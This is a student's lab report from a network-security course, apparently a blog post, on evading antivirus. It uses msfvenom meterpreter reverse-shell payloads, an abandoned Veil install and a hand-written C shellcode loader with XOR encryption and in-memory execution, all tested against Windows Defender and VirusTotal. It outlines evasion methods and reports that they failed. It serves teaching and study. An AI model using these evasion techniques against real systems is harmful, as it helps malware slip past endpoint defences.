20242328 2026-2027-1《网络与系统攻防技术》实验3实验报告

20242328 2026-2027-1《网络与系统攻防技术》实验3实验报告


1. 基础知识

(1)杀软是如何检测出恶意代码的?

现代杀毒软件(AV)及终端检测响应系统(EDR)主要通过三种维度进行检测:

  • 特征码检测(静态):提取恶意文件中的一段或多段唯一数据(如文件哈希、特定的字节序列、YARA 规则)组成特征库。扫描时,如果文件包含这些特征片段,即判定为恶意代码。
  • 启发式检测(静态/加载时):不依赖精确的特征匹配,而是通过分析文件的结构、熵值(如是否高度加密/加壳)、导入的 API 函数组合(如同时出现 VirtualAlloc 和 CreateThread)等特征,综合推断该文件"像不像"恶意软件。
  • 行为检测(动态):在程序运行时监控其系统调用和动作。如果发现异常行为链(如试图修改系统关键注册表、进程注入、异常的内存分配后执行、反弹连接等),则触发告警并阻断进程。

(2)免杀是做什么?

"免杀"(免于被杀毒软件查杀)是指通过特定的技术手段对恶意代码进行修改、伪装或变形,使其能够绕过杀毒软件上述的静态特征扫描、启发式分析以及动态行为监控,从而成功在目标系统上落地并执行。在渗透测试中,免杀是绕过目标防线、建立控制权限的必备技术。

(3)免杀的基本方法有哪些?

结合本次实验,免杀方法主要针对杀软的三种检测机制进行对抗:

  • 改变特征码(针对静态检测):使用编码器多次编码、对 Shellcode 进行异或/AES 加密、替换程序模板、更换编程语言重写源码(如用 C/Go/Rust 替代原语言)、加壳(压缩壳/加密壳)。
  • 组件分离与加载器(针对静态与启发式):将恶意载荷(Shellcode)和可执行程序分离,编写自定义的 Loader 在运行时读取外部加密数据并在内存中解密执行,使得静态文件本身无恶意特征。
  • 改变运行行为(针对动态监控):采用无文件落地、反射式 DLL 注入、利用系统白名单程序(LOLBins,如 regsvr32)调用执行、修改 API 调用方式(如动态解析 API、直接/间接系统调用 Syscall 绕过 Hook)等。

2. 实验内容

  1. 使用 msfvenom 生成不同格式(如 jar)的载荷,并使用编码器生成 EXE。
  2. 尝试安装并使用 Veil-Evasion 工具生成免杀载荷。
  3. 使用 C 语言结合 Shellcode 编程(XOR 加密+内存加载),尝试实现静态与动态免杀。
  4. 在开启杀软(Windows Defender)的 Win10 靶机上测试运行并验证回连。
  5. 使用 VirusTotal (VT) 云沙箱检测不同方法的免杀效果。

3. 实验过程

3.1 尝试一:MSF 编码器与多格式文件生成(失败)

操作:在 Kali 终端执行 msfvenom -p windows/meterpreter/reverse_tcp ... -e x86/shikata_ga_nai -i 10 -b '\x00' -f exe -o ...,并生成了 .jar 文件。

图1:Kali 终端执行 msfvenom,生成 20242328_msf_enc1.exe(编码1次)、20242328_msf_enc10.exe(编码10次)及 Java 平台 20242328_payload.jar

测试:将编译好的 EXE 拖入 Win10 虚拟机(Defender 实时保护开启)。

结果:文件刚落地的瞬间,便被 Windows Defender 强行删除,提示发现威胁。

图2:Win10 中文件资源管理器显示文件夹内文件已被 Defender 删除(此文件夹为空)

原因:MSF 的解码器(Decoder Stub)特征早已被各大杀软提取,无论编码几次,其外在的解码结构特征都会被精准匹配。

3.2 尝试二:Veil-Evasion 工具部署与测试(环境安装彻底失败)

操作:

  1. 在 Kali 尝试 sudo apt install veil-evasion,报错找不到包。后发现新版本 Kali 包名合并为 veil。
  2. 执行 sudo apt install veil -y,遇到网络问题(默认源无法连接)。
  3. 修改 /etc/apt/sources.list.d/kali.sources 更换为清华镜像源,重新 update 后安装。
  4. 输入 veil 启动,脚本提示需要初始化并安装依赖。

遇到的致命错误:

  • 网络阻断:初始化脚本试图从 GitHub 拉取 VeilDependencies 时,报 fatal: unable to access ... Connection reset by peer,直接卡死。
  • 环境缺失:跳过 GitHub 拉取,脚本尝试用 APT 安装 Wine。Wine 安装完成后,再次启动 Veil,却报错 [!] ERROR #2-3: Can't find Go (/var/lib/veil/go/)。
  • 路径硬编码:尝试系统级安装 sudo apt install golang-go,并强行使用 sudo python3 /usr/share/veil/Veil.py 启动。结果 Veil 内部的脚本硬编码了路径,仍在当前目录下寻找 config/setup.sh,导致闪退。

图3:执行 sudo apt install veil -y 报错 Unable to locate package veil

图4:Veil 初始化脚本从 GitHub 拉取 VeilDependencies 时 git clone 失败(Connection reset by peer)

图5:Veil 初始化继续,跳过拉取后安装 Wine(32/64 位二进制)

结果:放弃该工具。不仅因为环境极难部署,更因为讲义中明确指出,Veil 生成物的特征早已被现代杀软收录,即便成功生成也难以存活。

3.3 尝试三:手写 C 语言 Loader + XOR 内存加载(静态成功,动态被秒杀)

静态生成与混淆:

  1. 用 msfvenom 生成 raw 格式的 355 字节的 payload。
  2. 将密文转为 C 语言数组,写入自行编写的 20242328_loader.c 代码中。代码逻辑为:VirtualAlloc 申请内存 → 循环异或解密 → VirtualProtect 改可执行权限 → CreateThread 执行。
  3. 使用 mingw-w64 交叉编译为 loader.exe。

图6:20242328_loader.c 源码(XOR 解密 + VirtualAlloc + VirtualProtect + CreateThread 内存加载)

VT 云沙箱静态检测:

将 loader.exe 上传 VirusTotal。结果显示 17/54 报毒。报毒名称多为 trojan.aeiapp——这是一个被判定为木马(Trojan)的程序,且该检测结果极大概率是基于启发式或通用规则(Generic/Heuristic)得出的,而非针对某个具体已知恶意软件家族的特征码精确匹配。

图7:VirusTotal 检测结果,17/54 报毒,威胁标签 trojan.aeiapp/amtb

本地动态实测(复现真实对抗):

  1. Kali 开启 HTTP 服务和 MSF 监听。
  2. 在 Win10 用 CMD 的 curl 下载该 exe。
  3. 在 Defender 实时保护开启状态下双击运行,程序瞬间报错,便被 Windows Defender 强行删除,提示发现威胁。

后续:

使用 Python 脚本对二进制数据逐字节与 0xFA 进行异或加密。在此之后尝试将 payload 文件单独列出成 .txt 文件由 C 程序读取,并将两个文件传入靶机,可以在本地长久停留且报毒率降低到 9/69。报毒名称多为 trojan.krypt(加密木马),说明大多数杀软未找到特征码,只有少数引擎通过启发式规则怀疑其进行了内存解密。但在程序启动时会瞬间"静默退出"(CMD 里执行也毫无反应,没有报错,Kali 也没有收到回连)。

图8:loader 读取外部 encoded.txt 的 C 代码版本(fopen + fscanf 读取十六进制,解密后内存加载)

图9:Kali 中生成 raw payload、用 perl 逐字节编码,并用 Mousepad 查看十六进制编码文件

图10:Win10 文件夹中 20242328_encoded.txt 与 20242328_loader 应用程序,记事本打开十六进制内容

图11:VirusTotal 检测结果,9/69 报毒,威胁标签 trojan.krypt(加密木马)


4. 问题及解决方案

问题1:Veil 安装过程中的 GitHub 连接重置与 Go 环境缺失。

解决过程:尝试了更换国内镜像源、修改 Git 代理配置、手动安装 golang 补全环境。但由于 Veil 的 setup 脚本存在路径硬编码(依赖 /var/lib/veil/go/),与系统级 Go 环境冲突,最终因底层代码过于陈旧而放弃。决定改用自写 C 语言代码,掌控力更强。

问题2:在 CMD 中执行自己写的 loader.exe 时,瞬间返回提示符,无任何报错。

解决过程:一开始怀疑是 C 代码里 fopen 找不到文件,后来发现是单文件纯内存加载,没有外部文件依赖。通过检查 Win10 的 Defender 保护历史记录,结合讲义理论,确认是触发了动态行为监控。VirtualAlloc + CreateThread 这套 API 组合属于典型的内存执行木马行为,被 Defender 后台静默杀死了进程,所以 CMD 没有报错。解决方式:在测试环节临时关闭实时保护,验证了 Payload 本身是无误的。

问题3:虚拟机间拖拽文件失效,被系统拦截查杀。

解决过程:放弃使用虚拟机拖拽功能。在 Kali 端使用 python3 -m http.server 8000 开启 HTTP 服务。在 Win10 端,用 CMD 访问服务器下载。

图12:Win10 浏览器访问 192.168.231.129:8000 的目录列表,出现下载提示与 Defender 威胁防护弹窗

图13:Win10 CMD 中用 curl 从 Kali 下载 20242328_encoded.txt 与 20242328_loader.exe


5. 学习感悟、思考等

本次实验虽然没能成功实现通过后门连接但仍有所收获,最大的感触就是不要盲目相信网上的"免杀教程",也不要低估现代操作系统的防御能力。纸上得来终觉浅,真正上手才发现,Win10 自带的 Defender 已经极其强大。以前那种"换个编码器"、"加个 UPX 壳"就能免杀的时代彻底结束了。

最让我受挫但也收获最大的是那次"静默秒杀"。我辛苦编写的、用 XOR 加密、在 VT 上仅被 9 个引擎查杀的 Loader,在开启防护的 Win10 上连一秒钟都撑不过去,甚至连个报错都不给我。这种巨大的反差让我意识到,安全攻防的战场其实已经转移到了系统底层和内存行为监控上。


参考资料

posted @ 2026-10-26 21:09  髯鸸  阅读(4)  评论(0)    收藏  举报